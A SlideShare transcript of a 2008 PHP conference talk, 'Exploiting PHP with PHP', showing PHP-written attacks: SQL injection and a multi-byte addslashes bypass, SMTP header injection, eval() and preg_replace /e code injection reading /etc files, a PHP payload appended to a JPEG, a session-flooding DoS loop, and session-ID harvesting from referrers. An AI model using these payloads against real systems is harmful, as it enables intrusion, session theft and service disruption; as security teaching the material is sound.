SlideShare a Scribd company logo
Exploiting PHP with PHP Arpad Ray @ PHPNW08
Why use PHP for this? We already know how to write PHP
Why use PHP for this? We already know how to write PHP Can use directly in test scripts
Why use PHP for this? We already know how to write PHP Can use directly in test scripts PHP provides everything we need
Why use PHP for this? We already know how to write PHP Can use directly in test scripts PHP provides everything we need Writing PHP can be very quick
Why use PHP for this? We already know how to write PHP Can use directly in test scripts PHP provides everything we need Writing PHP can be very quick Can efficiently re-use and combine attacks
SQL injection Probably the first attack most PHP developers hear of
SQL injection $q = "SELECT * FROM foobar WHERE id = $_GET[id]";
SQL injection $q = "SELECT * FROM foobar WHERE id = $_GET[id]"; index.php?id=1 OR 1=1 $_GET['id'] = '1 OR 1=1';
SQL injection $q = "SELECT * FROM foobar WHERE id = $_GET[id]"; index.php?id=1 OR 1=1 $_GET['id'] = '1 OR 1=1'; $q = "SELECT * FROM foobar WHERE id =  1 OR 1=1 ";
SQL injection $q = "SELECT * FROM foobar WHERE id =  ' $_GET[id] ' ";
SQL injection $q = "SELECT * FROM foobar WHERE id =  ' $_GET[id] ' "; index.php?id=' OR ''=' $_GET['id'] = “' OR ''='”;
SQL injection $q = "SELECT * FROM foobar WHERE id =  ' $_GET[id] ' "; index.php?id=' OR ''=' $_GET['id'] = “' OR ''='”; $q = "SELECT * FROM foobar WHERE id =  ' ' OR ''=' ' ";
SQL injection $q = "SELECT * FROM foobar WHERE id =  ' $_POST[id] ' ";
SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_POST[id]&quot;; <form method=”post” action=” http://example.com/foo.php ”> <input type=”hidden” name=”id” value=”1 OR 1=1” />   <input type=”submit” /> </form>
SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_POST[id]&quot;; $context = stream_context_create(array('http' => array(   'method' => 'post'   'content' => 'id=1 OR 1=1' ))); file_get_contents(' http://example.com/foo.php ', false, $context);
SQL injection $q = 'SELECT * FROM foobar WHERE id = ' . addslashes($id);
addslashes()‏ $id = addslashes($_POST['id']); $q = &quot;SELECT * FROM foobar WHERE id =  ' $id ' &quot;; $_POST['id'] = “' OR ''='”; $q = &quot;SELECT * FROM foobar WHERE id =  '\' OR \'\'=\'' &quot;;
addslashes()‏ Getting around that pesky backslash
addslashes()‏ Getting around that pesky backslash Multi-byte character attacks
addslashes()‏ Getting around that pesky backslash Multi-byte character attacks Swallow  the backslash with a multi-byte character ending with that byte
addslashes()‏ Getting around that pesky backslash Multi-byte character attacks Swallow  the backslash with a multi-byte character ending with that byte <start of mb character><single quote> // apply addslashes() <mb character><single quote>
addslashes()‏ $mbCharacter = &quot;\xBF\x5C&quot;; $quote = substr($mbCharacter, 0, -1) . '\'';
addslashes()‏ $mbCharacter = &quot;\xBF\x5C&quot;; $quote = substr($mbCharacter, 0, -1) . '\''; $id = &quot; $quote OR $quote$quote = $quote &quot;; $context = stream_context_create(array('http' => array(   'method' => 'post'   'content' => http_build_query(array('id' => $id)) ))); file_get_contents('http://example.com/foo.php', false, $context); $q = &quot;SELECT * FROM foobar WHERE id =  ' ?' OR '?'='? ' &quot;;
addslashes()‏ $mbCharacter = &quot;\xBF\x5C&quot;; $quote = substr($mbCharacter, 0, -1) . '\''; $id = &quot; $quote OR 1=1 /* &quot;; $context = stream_context_create(array('http' => array(   'method' => 'post'   'content' => http_build_query(array('id' => $id)) ))); file_get_contents('http://example.com/foo.php', false, $context); $q = &quot;SELECT * FROM foobar WHERE id =  ' ?' OR 1=1 /* ' &quot;;
magic_quotes_gpc Uses addslashes() so escaping is not secure
magic_quotes_gpc Uses addslashes() so escaping is not secure Fosters complacency
magic_quotes_gpc Uses addslashes() so escaping is not secure Fosters complacency Applications using magic quotes are much harder to make truly portable
magic_quotes_gpc Uses addslashes() so escaping is not secure Fosters complacency Applications using magic quotes are much harder to make truly portable Inconsistencies between PHP versions
magic_quotes_gpc $context = stream_context_create(array('http' => array(   'user_agent' => $foo ))); $context = stream_context_create(array('http' => array(   'method' => 'get'   'header' => 'X-Foo: ' . $foo )));
magic_quotes_gpc ?  scalar'1=foo& array'1[scalar'2]=foo& array'1[array'2][scalar'3]=foo
magic_quotes_gpc Expected result: Array (   [scalar\'1] => foo   [array\'1] => Array   (   [scalar\'2] => foo   [array\'2] => Array   (   [scalar\'3] => foo   )   ) )‏
magic_quotes_gpc PHP 4.3.3 Array (   [ scalar'1 ] => foo   [ array'1 ] => Array   (   [ scalar'2 ] => foo   [array\'2] => Array   (   [ scalar'3 ] => foo   )   ) )‏
magic_quotes_gpc PHP 4.4.0 Array (   [ scalar'1 ] => foo   [ array'1 ] => Array   (   [ scalar\'2 ] => foo   [array\'2] => Array   (   [ scalar\'3 ] => foo   )   ) )‏
magic_quotes_gpc PHP 5.0.0 (OFF)‏ Array (   [scalar\'1] => foo   [array\'1] => Array   (   [scalar\'2] => foo   [array\'2] => Array   (   [scalar\'3] => foo   )   ) )‏
magic_quotes_gpc PHP 5.2.2 Array (   [scalar\'1] => foo   [array\'1] => Array   (   [scalar\'2] => foo   [array\'2] => Array   (   [scalar\'3] => foo   )   ) )‏
magic_quotes_gpc There are also problems  disabling  magic_quotes_gpc
magic_quotes_gpc There are also problems  disabling  magic_quotes_gpc function stripslashes_deep($value) {   $value = is_array($value) ?   array_map('stripslashes_deep', $value) :   stripslashes($value);   return $value; }
magic_quotes_gpc There are also problems  disabling  magic_quotes_gpc Instead of passing id=1 we can pass: 'id' . str_repeat('[]', 1000) . '=1' We can trivially force the web server to do  a lot  of unnecessary work
Denial of Service Failure to release resources
Denial of Service Failure to release resources Writing user data to disk
Denial of Service function fill_sessions($url, $num = 1000) {   $context = stream_context_create(array(   'http' => array(   'method' => 'HEAD'   )   ));   for ($i = $num; $i--;) {   file_get_contents($url, false, $context);   } }
Denial of Service Failure to release resources Writing user data to disk Locking customer accounts
SMTP injection
SMTP injection $to = 'foobar@example.com'; $subject = $_POST['subject']; $from = $_POST['from']; mail($to, $subject, 'From: ' . $from);
SMTP injection $context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => http_build_query(array( 'subject' => &quot;foo\r\nCc: target@example.com&quot;, 'from' => &quot;from@example.com\r\nCc: target@example.com&quot; ))‏ )));
SMTP injection Variable mail address
SMTP injection Variable mail address Sanitisation
SMTP injection Variable mail address Sanitisation Validation
SMTP injection Variable mail address Sanitisation Validation /^[^@]+@(?:\w+\.)+\w{2,6}$/
Hot vulnerabilities Direct eval() injection
Hot vulnerabilities Direct eval() injection class Foo {   function Foo() {   $a = func_get_args();   print_r($a);   }  } eval('$foo = new Foo(' . implode(',', $args) . ');');
Hot vulnerabilities Direct eval() injection $args[0] = 'readfile(“/etc/passed”)';
Hot vulnerabilities preg_replace() using /e modifier $s = '$-42 dollars'; preg_replace('/\$(.*?) dollars/e', 'abs($1)', $s)‏ $s = '42';
Hot vulnerabilities preg_replace() using /e modifier $s = '$1).foobar().abs(1 dollars'; preg_replace('/\$(.*?) dollars/e', 'abs($1)', $s)‏ $s = '4242';
Hot vulnerabilities preg_replace() using /e modifier $s = '$1).readfile(chr(47).chr(101)...abs(1 dollars'; preg_replace('/\$(.*?) dollars/e', 'abs($1)', $s)‏ $s = '4242';
Hot vulnerabilities Variable in include() call $page = $_GET['page']; include $page;
Hot vulnerabilities Direct eval() injection preg_replace() using /e modifier Variable in include() call Uploading PHP files
Hot vulnerabilities Uploading PHP files Check file extension Check uploaded MIME type Check file MIME type Move outside of web root
Hot vulnerabilities $script = <<<EOT <?php var_dump('hello world!'); EOT; $jpeg = '/path/to/some_valid.jpg'; $fp = fopen($jpeg, 'ab'); fwrite($fp, $script); fclose($fp);
Hot vulnerabilities Direct eval() injection preg_replace() using /e modifier Variable in include() call Uploading PHP files
Hot vulnerabilities Direct eval() injection preg_replace() using /e modifier Variable in include() call Uploading PHP files Shell injection
Making an evil website HTTP requests can give us lots of interesting information PHPSESSID = bingo
Making an evil website if (isset($_SESSION['HTTP_REFERER'])) {   if (preg_match('   /   PHPSESSID=([^=&]+)   /xi',   $_SESSION['HTTP_REFERER'])); }
Making an evil website if (isset($_SESSION['HTTP_REFERER'])) {   if (preg_match('   /   PHPSESSID=([^=&]+) | (?<==)([a-f\d]{32}|[a-f\d]{40})\b   /xi',   $_SESSION['HTTP_REFERER'])); }
Making use of victims File scan
Making use of victims File scan $dir = new RecursiveIteratorIterator( new RecursiveDirectoryIterator('/', true)‏ ); foreach ($dir as $file) { echo $file->getPathname(), &quot;\n&quot;; }
Making use of victims File scan Subverting existing files
Making use of victims File scan Subverting existing files Escalate privileges, take over machine
Making use of victims File scan Subverting existing files Escalate privileges, take over machine botnet.php
Questions?

More Related Content

What's hot (20)

ODP
Concern of Web Application Security
Mahmud Ahsan
 
PDF
Perl6 grammars
Andrew Shitov
 
PPT
LPW: Beginners Perl
Dave Cross
 
PDF
Let's play a game with blackfire player
Marcin Czarnecki
 
PDF
Good Evils In Perl
Kang-min Liu
 
ODP
Introduction to Perl - Day 2
Dave Cross
 
PPT
Writing Apps the Google-y Way
Pamela Fox
 
PPT
Php Basic
Md. Sirajus Salayhin
 
PPTX
Web API Filtering - Challenges, Approaches, and a New Tool
Daniel Fields
 
PDF
DBIx::Class introduction - 2010
leo lapworth
 
ODP
ABC of Perl programming
Bo Hua Yang
 
PDF
DBIx::Class beginners
leo lapworth
 
ODP
Beginning Perl
Dave Cross
 
ODP
Evolving Software with Moose
Dave Cross
 
PPT
Test::Base
Tatsuhiko Miyagawa
 
ODP
Modern Perl
Marcos Rebelo
 
PPT
Addmi 10.5-basic query-language
odanyboy
 
PPT
Power Theming
drkdn
 
PDF
Shortcodes In-Depth
Micah Wood
 
Concern of Web Application Security
Mahmud Ahsan
 
Perl6 grammars
Andrew Shitov
 
LPW: Beginners Perl
Dave Cross
 
Let's play a game with blackfire player
Marcin Czarnecki
 
Good Evils In Perl
Kang-min Liu
 
Introduction to Perl - Day 2
Dave Cross
 
Writing Apps the Google-y Way
Pamela Fox
 
Web API Filtering - Challenges, Approaches, and a New Tool
Daniel Fields
 
DBIx::Class introduction - 2010
leo lapworth
 
ABC of Perl programming
Bo Hua Yang
 
DBIx::Class beginners
leo lapworth
 
Beginning Perl
Dave Cross
 
Evolving Software with Moose
Dave Cross
 
Test::Base
Tatsuhiko Miyagawa
 
Modern Perl
Marcos Rebelo
 
Addmi 10.5-basic query-language
odanyboy
 
Power Theming
drkdn
 
Shortcodes In-Depth
Micah Wood
 

Viewers also liked (6)

PDF
WebAPIではじめるphp入門
Hiroaki Murayama
 
PPTX
On secure application of PHP wrappers
Positive Hack Days
 
PDF
Art of Web Backdoor - Pichaya Morimoto
Pichaya Morimoto
 
PDF
StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
StHack
 
PPTX
Client-side JavaScript Vulnerabilities
Ory Segal
 
PDF
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
Pichaya Morimoto
 
WebAPIではじめるphp入門
Hiroaki Murayama
 
On secure application of PHP wrappers
Positive Hack Days
 
Art of Web Backdoor - Pichaya Morimoto
Pichaya Morimoto
 
StHack 2013 - Florian "@agixid" Gaultier No SQL injection but NoSQL injection
StHack
 
Client-side JavaScript Vulnerabilities
Ory Segal
 
CTF คืออะไร เรียนแฮก? ลองแฮก? แข่งแฮก?
Pichaya Morimoto
 
Ad

Similar to Exploiting Php With Php (20)

ODP
Zendcon 2007 Features
fivespeed5
 
PPT
Drupal Lightning FAPI Jumpstart
guestfd47e4c7
 
ODP
Ae internals
mnikolenko
 
PPT
Php My Sql
mussawir20
 
PPT
Php Basic Security
mussawir20
 
PPT
Graph Databases
Josh Adell
 
PPT
Testing Javascript with Jasmine
Tim Tyrrell
 
PPTX
SQL Injection Part 2
n|u - The Open Security Community
 
PPT
High-level Web Testing
petersergeant
 
PDF
Secure Coding With Wordpress (BarCamp Orlando 2009)
Mark Jaquith
 
ODP
Schenker - DSL for quickly creating web applications in Perl
Jiro Nishiguchi
 
PPT
JQuery Basics
Alin Taranu
 
PPT
Introduction To Moco
Naoya Ito
 
ODP
Terms of endearment - the ElasticSearch Query DSL explained
clintongormley
 
ODP
Why Python by Marilyn Davis, Marakana
Marko Gargenta
 
ODP
Modern Web Development with Perl
Dave Cross
 
PPT
Web Scraping with PHP
Matthew Turland
 
PPS
Php security3895
PrinceGuru MS
 
Zendcon 2007 Features
fivespeed5
 
Drupal Lightning FAPI Jumpstart
guestfd47e4c7
 
Ae internals
mnikolenko
 
Php My Sql
mussawir20
 
Php Basic Security
mussawir20
 
Graph Databases
Josh Adell
 
Testing Javascript with Jasmine
Tim Tyrrell
 
SQL Injection Part 2
n|u - The Open Security Community
 
High-level Web Testing
petersergeant
 
Secure Coding With Wordpress (BarCamp Orlando 2009)
Mark Jaquith
 
Schenker - DSL for quickly creating web applications in Perl
Jiro Nishiguchi
 
JQuery Basics
Alin Taranu
 
Introduction To Moco
Naoya Ito
 
Terms of endearment - the ElasticSearch Query DSL explained
clintongormley
 
Why Python by Marilyn Davis, Marakana
Marko Gargenta
 
Modern Web Development with Perl
Dave Cross
 
Web Scraping with PHP
Matthew Turland
 
Php security3895
PrinceGuru MS
 
Ad

More from Jeremy Coates (17)

PPTX
Cyber Security and GDPR
Jeremy Coates
 
PPTX
Aspect Oriented Programming
Jeremy Coates
 
PDF
Why is PHP Awesome
Jeremy Coates
 
PDF
Testing with Codeception
Jeremy Coates
 
KEY
An introduction to Phing the PHP build system (PHPDay, May 2012)
Jeremy Coates
 
KEY
An introduction to Phing the PHP build system
Jeremy Coates
 
KEY
Insects in your mind
Jeremy Coates
 
KEY
Phing
Jeremy Coates
 
KEY
Hudson Continuous Integration for PHP
Jeremy Coates
 
PDF
The Uncertainty Principle
Jeremy Coates
 
ODP
What's new, what's hot in PHP 5.3
Jeremy Coates
 
PDF
Kiss Phpnw08
Jeremy Coates
 
PPT
Regex Basics
Jeremy Coates
 
ODP
Search Lucene
Jeremy Coates
 
PDF
Mysql Explain Explained
Jeremy Coates
 
ODP
Introduction to Version Control
Jeremy Coates
 
ODP
PHPNW Conference Update
Jeremy Coates
 
Cyber Security and GDPR
Jeremy Coates
 
Aspect Oriented Programming
Jeremy Coates
 
Why is PHP Awesome
Jeremy Coates
 
Testing with Codeception
Jeremy Coates
 
An introduction to Phing the PHP build system (PHPDay, May 2012)
Jeremy Coates
 
An introduction to Phing the PHP build system
Jeremy Coates
 
Insects in your mind
Jeremy Coates
 
Hudson Continuous Integration for PHP
Jeremy Coates
 
The Uncertainty Principle
Jeremy Coates
 
What's new, what's hot in PHP 5.3
Jeremy Coates
 
Kiss Phpnw08
Jeremy Coates
 
Regex Basics
Jeremy Coates
 
Search Lucene
Jeremy Coates
 
Mysql Explain Explained
Jeremy Coates
 
Introduction to Version Control
Jeremy Coates
 
PHPNW Conference Update
Jeremy Coates
 

Recently uploaded (20)

PDF
NLJUG Speaker academy 2025 - first session
Bert Jan Schrijver
 
PDF
UiPath DevConnect 2025: Agentic Automation Community User Group Meeting
DianaGray10
 
PDF
Go Concurrency Real-World Patterns, Pitfalls, and Playground Battles.pdf
Emily Achieng
 
PDF
Transcript: Book industry state of the nation 2025 - Tech Forum 2025
BookNet Canada
 
PDF
Peak of Data & AI Encore AI-Enhanced Workflows for the Real World
Safe Software
 
PPTX
Seamless Tech Experiences Showcasing Cross-Platform App Design.pptx
presentifyai
 
PDF
Future-Proof or Fall Behind? 10 Tech Trends You Can’t Afford to Ignore in 2025
DIGITALCONFEX
 
PPTX
Future Tech Innovations 2025 – A TechLists Insight
TechLists
 
PPTX
Digital Circuits, important subject in CS
contactparinay1
 
DOCX
Python coding for beginners !! Start now!#
Rajni Bhardwaj Grover
 
PDF
AI Agents in the Cloud: The Rise of Agentic Cloud Architecture
Lilly Gracia
 
PDF
Bitcoin for Millennials podcast with Bram, Power Laws of Bitcoin
Stephen Perrenod
 
PDF
[Newgen] NewgenONE Marvin Brochure 1.pdf
darshakparmar
 
PPTX
New ThousandEyes Product Innovations: Cisco Live June 2025
ThousandEyes
 
PDF
UPDF - AI PDF Editor & Converter Key Features
DealFuel
 
PPTX
Agentforce World Tour Toronto '25 - MCP with MuleSoft
Alexandra N. Martinez
 
PDF
“NPU IP Hardware Shaped Through Software and Use-case Analysis,” a Presentati...
Edge AI and Vision Alliance
 
PPTX
MuleSoft MCP Support (Model Context Protocol) and Use Case Demo
shyamraj55
 
PDF
The Rise of AI and IoT in Mobile App Tech.pdf
IMG Global Infotech
 
PDF
NASA A Researcher’s Guide to International Space Station : Physical Sciences ...
Dr. PANKAJ DHUSSA
 
NLJUG Speaker academy 2025 - first session
Bert Jan Schrijver
 
UiPath DevConnect 2025: Agentic Automation Community User Group Meeting
DianaGray10
 
Go Concurrency Real-World Patterns, Pitfalls, and Playground Battles.pdf
Emily Achieng
 
Transcript: Book industry state of the nation 2025 - Tech Forum 2025
BookNet Canada
 
Peak of Data & AI Encore AI-Enhanced Workflows for the Real World
Safe Software
 
Seamless Tech Experiences Showcasing Cross-Platform App Design.pptx
presentifyai
 
Future-Proof or Fall Behind? 10 Tech Trends You Can’t Afford to Ignore in 2025
DIGITALCONFEX
 
Future Tech Innovations 2025 – A TechLists Insight
TechLists
 
Digital Circuits, important subject in CS
contactparinay1
 
Python coding for beginners !! Start now!#
Rajni Bhardwaj Grover
 
AI Agents in the Cloud: The Rise of Agentic Cloud Architecture
Lilly Gracia
 
Bitcoin for Millennials podcast with Bram, Power Laws of Bitcoin
Stephen Perrenod
 
[Newgen] NewgenONE Marvin Brochure 1.pdf
darshakparmar
 
New ThousandEyes Product Innovations: Cisco Live June 2025
ThousandEyes
 
UPDF - AI PDF Editor & Converter Key Features
DealFuel
 
Agentforce World Tour Toronto '25 - MCP with MuleSoft
Alexandra N. Martinez
 
“NPU IP Hardware Shaped Through Software and Use-case Analysis,” a Presentati...
Edge AI and Vision Alliance
 
MuleSoft MCP Support (Model Context Protocol) and Use Case Demo
shyamraj55
 
The Rise of AI and IoT in Mobile App Tech.pdf
IMG Global Infotech
 
NASA A Researcher’s Guide to International Space Station : Physical Sciences ...
Dr. PANKAJ DHUSSA
 

Exploiting Php With Php

  • 1. Exploiting PHP with PHP Arpad Ray @ PHPNW08
  • 2. Why use PHP for this? We already know how to write PHP
  • 3. Why use PHP for this? We already know how to write PHP Can use directly in test scripts
  • 4. Why use PHP for this? We already know how to write PHP Can use directly in test scripts PHP provides everything we need
  • 5. Why use PHP for this? We already know how to write PHP Can use directly in test scripts PHP provides everything we need Writing PHP can be very quick
  • 6. Why use PHP for this? We already know how to write PHP Can use directly in test scripts PHP provides everything we need Writing PHP can be very quick Can efficiently re-use and combine attacks
  • 7. SQL injection Probably the first attack most PHP developers hear of
  • 8. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_GET[id]&quot;;
  • 9. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_GET[id]&quot;; index.php?id=1 OR 1=1 $_GET['id'] = '1 OR 1=1';
  • 10. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_GET[id]&quot;; index.php?id=1 OR 1=1 $_GET['id'] = '1 OR 1=1'; $q = &quot;SELECT * FROM foobar WHERE id = 1 OR 1=1 &quot;;
  • 11. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = ' $_GET[id] ' &quot;;
  • 12. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = ' $_GET[id] ' &quot;; index.php?id=' OR ''=' $_GET['id'] = “' OR ''='”;
  • 13. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = ' $_GET[id] ' &quot;; index.php?id=' OR ''=' $_GET['id'] = “' OR ''='”; $q = &quot;SELECT * FROM foobar WHERE id = ' ' OR ''=' ' &quot;;
  • 14. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = ' $_POST[id] ' &quot;;
  • 15. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_POST[id]&quot;; <form method=”post” action=” http://example.com/foo.php ”> <input type=”hidden” name=”id” value=”1 OR 1=1” /> <input type=”submit” /> </form>
  • 16. SQL injection $q = &quot;SELECT * FROM foobar WHERE id = $_POST[id]&quot;; $context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => 'id=1 OR 1=1' ))); file_get_contents(' http://example.com/foo.php ', false, $context);
  • 17. SQL injection $q = 'SELECT * FROM foobar WHERE id = ' . addslashes($id);
  • 18. addslashes()‏ $id = addslashes($_POST['id']); $q = &quot;SELECT * FROM foobar WHERE id = ' $id ' &quot;; $_POST['id'] = “' OR ''='”; $q = &quot;SELECT * FROM foobar WHERE id = '\' OR \'\'=\'' &quot;;
  • 19. addslashes()‏ Getting around that pesky backslash
  • 20. addslashes()‏ Getting around that pesky backslash Multi-byte character attacks
  • 21. addslashes()‏ Getting around that pesky backslash Multi-byte character attacks Swallow the backslash with a multi-byte character ending with that byte
  • 22. addslashes()‏ Getting around that pesky backslash Multi-byte character attacks Swallow the backslash with a multi-byte character ending with that byte <start of mb character><single quote> // apply addslashes() <mb character><single quote>
  • 23. addslashes()‏ $mbCharacter = &quot;\xBF\x5C&quot;; $quote = substr($mbCharacter, 0, -1) . '\'';
  • 24. addslashes()‏ $mbCharacter = &quot;\xBF\x5C&quot;; $quote = substr($mbCharacter, 0, -1) . '\''; $id = &quot; $quote OR $quote$quote = $quote &quot;; $context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => http_build_query(array('id' => $id)) ))); file_get_contents('http://example.com/foo.php', false, $context); $q = &quot;SELECT * FROM foobar WHERE id = ' ?' OR '?'='? ' &quot;;
  • 25. addslashes()‏ $mbCharacter = &quot;\xBF\x5C&quot;; $quote = substr($mbCharacter, 0, -1) . '\''; $id = &quot; $quote OR 1=1 /* &quot;; $context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => http_build_query(array('id' => $id)) ))); file_get_contents('http://example.com/foo.php', false, $context); $q = &quot;SELECT * FROM foobar WHERE id = ' ?' OR 1=1 /* ' &quot;;
  • 26. magic_quotes_gpc Uses addslashes() so escaping is not secure
  • 27. magic_quotes_gpc Uses addslashes() so escaping is not secure Fosters complacency
  • 28. magic_quotes_gpc Uses addslashes() so escaping is not secure Fosters complacency Applications using magic quotes are much harder to make truly portable
  • 29. magic_quotes_gpc Uses addslashes() so escaping is not secure Fosters complacency Applications using magic quotes are much harder to make truly portable Inconsistencies between PHP versions
  • 30. magic_quotes_gpc $context = stream_context_create(array('http' => array( 'user_agent' => $foo ))); $context = stream_context_create(array('http' => array( 'method' => 'get' 'header' => 'X-Foo: ' . $foo )));
  • 31. magic_quotes_gpc ? scalar'1=foo& array'1[scalar'2]=foo& array'1[array'2][scalar'3]=foo
  • 32. magic_quotes_gpc Expected result: Array ( [scalar\'1] => foo [array\'1] => Array ( [scalar\'2] => foo [array\'2] => Array ( [scalar\'3] => foo ) ) )‏
  • 33. magic_quotes_gpc PHP 4.3.3 Array ( [ scalar'1 ] => foo [ array'1 ] => Array ( [ scalar'2 ] => foo [array\'2] => Array ( [ scalar'3 ] => foo ) ) )‏
  • 34. magic_quotes_gpc PHP 4.4.0 Array ( [ scalar'1 ] => foo [ array'1 ] => Array ( [ scalar\'2 ] => foo [array\'2] => Array ( [ scalar\'3 ] => foo ) ) )‏
  • 35. magic_quotes_gpc PHP 5.0.0 (OFF)‏ Array ( [scalar\'1] => foo [array\'1] => Array ( [scalar\'2] => foo [array\'2] => Array ( [scalar\'3] => foo ) ) )‏
  • 36. magic_quotes_gpc PHP 5.2.2 Array ( [scalar\'1] => foo [array\'1] => Array ( [scalar\'2] => foo [array\'2] => Array ( [scalar\'3] => foo ) ) )‏
  • 37. magic_quotes_gpc There are also problems disabling magic_quotes_gpc
  • 38. magic_quotes_gpc There are also problems disabling magic_quotes_gpc function stripslashes_deep($value) { $value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value); return $value; }
  • 39. magic_quotes_gpc There are also problems disabling magic_quotes_gpc Instead of passing id=1 we can pass: 'id' . str_repeat('[]', 1000) . '=1' We can trivially force the web server to do a lot of unnecessary work
  • 40. Denial of Service Failure to release resources
  • 41. Denial of Service Failure to release resources Writing user data to disk
  • 42. Denial of Service function fill_sessions($url, $num = 1000) { $context = stream_context_create(array( 'http' => array( 'method' => 'HEAD' ) )); for ($i = $num; $i--;) { file_get_contents($url, false, $context); } }
  • 43. Denial of Service Failure to release resources Writing user data to disk Locking customer accounts
  • 45. SMTP injection $to = '[email protected]'; $subject = $_POST['subject']; $from = $_POST['from']; mail($to, $subject, 'From: ' . $from);
  • 46. SMTP injection $context = stream_context_create(array('http' => array( 'method' => 'post' 'content' => http_build_query(array( 'subject' => &quot;foo\r\nCc: [email protected]&quot;, 'from' => &quot;[email protected]\r\nCc: [email protected]&quot; ))‏ )));
  • 47. SMTP injection Variable mail address
  • 48. SMTP injection Variable mail address Sanitisation
  • 49. SMTP injection Variable mail address Sanitisation Validation
  • 50. SMTP injection Variable mail address Sanitisation Validation /^[^@]+@(?:\w+\.)+\w{2,6}$/
  • 51. Hot vulnerabilities Direct eval() injection
  • 52. Hot vulnerabilities Direct eval() injection class Foo { function Foo() { $a = func_get_args(); print_r($a); } } eval('$foo = new Foo(' . implode(',', $args) . ');');
  • 53. Hot vulnerabilities Direct eval() injection $args[0] = 'readfile(“/etc/passed”)';
  • 54. Hot vulnerabilities preg_replace() using /e modifier $s = '$-42 dollars'; preg_replace('/\$(.*?) dollars/e', 'abs($1)', $s)‏ $s = '42';
  • 55. Hot vulnerabilities preg_replace() using /e modifier $s = '$1).foobar().abs(1 dollars'; preg_replace('/\$(.*?) dollars/e', 'abs($1)', $s)‏ $s = '4242';
  • 56. Hot vulnerabilities preg_replace() using /e modifier $s = '$1).readfile(chr(47).chr(101)...abs(1 dollars'; preg_replace('/\$(.*?) dollars/e', 'abs($1)', $s)‏ $s = '4242';
  • 57. Hot vulnerabilities Variable in include() call $page = $_GET['page']; include $page;
  • 58. Hot vulnerabilities Direct eval() injection preg_replace() using /e modifier Variable in include() call Uploading PHP files
  • 59. Hot vulnerabilities Uploading PHP files Check file extension Check uploaded MIME type Check file MIME type Move outside of web root
  • 60. Hot vulnerabilities $script = <<<EOT <?php var_dump('hello world!'); EOT; $jpeg = '/path/to/some_valid.jpg'; $fp = fopen($jpeg, 'ab'); fwrite($fp, $script); fclose($fp);
  • 61. Hot vulnerabilities Direct eval() injection preg_replace() using /e modifier Variable in include() call Uploading PHP files
  • 62. Hot vulnerabilities Direct eval() injection preg_replace() using /e modifier Variable in include() call Uploading PHP files Shell injection
  • 63. Making an evil website HTTP requests can give us lots of interesting information PHPSESSID = bingo
  • 64. Making an evil website if (isset($_SESSION['HTTP_REFERER'])) { if (preg_match(' / PHPSESSID=([^=&]+) /xi', $_SESSION['HTTP_REFERER'])); }
  • 65. Making an evil website if (isset($_SESSION['HTTP_REFERER'])) { if (preg_match(' / PHPSESSID=([^=&]+) | (?<==)([a-f\d]{32}|[a-f\d]{40})\b /xi', $_SESSION['HTTP_REFERER'])); }
  • 66. Making use of victims File scan
  • 67. Making use of victims File scan $dir = new RecursiveIteratorIterator( new RecursiveDirectoryIterator('/', true)‏ ); foreach ($dir as $file) { echo $file->getPathname(), &quot;\n&quot;; }
  • 68. Making use of victims File scan Subverting existing files
  • 69. Making use of victims File scan Subverting existing files Escalate privileges, take over machine
  • 70. Making use of victims File scan Subverting existing files Escalate privileges, take over machine botnet.php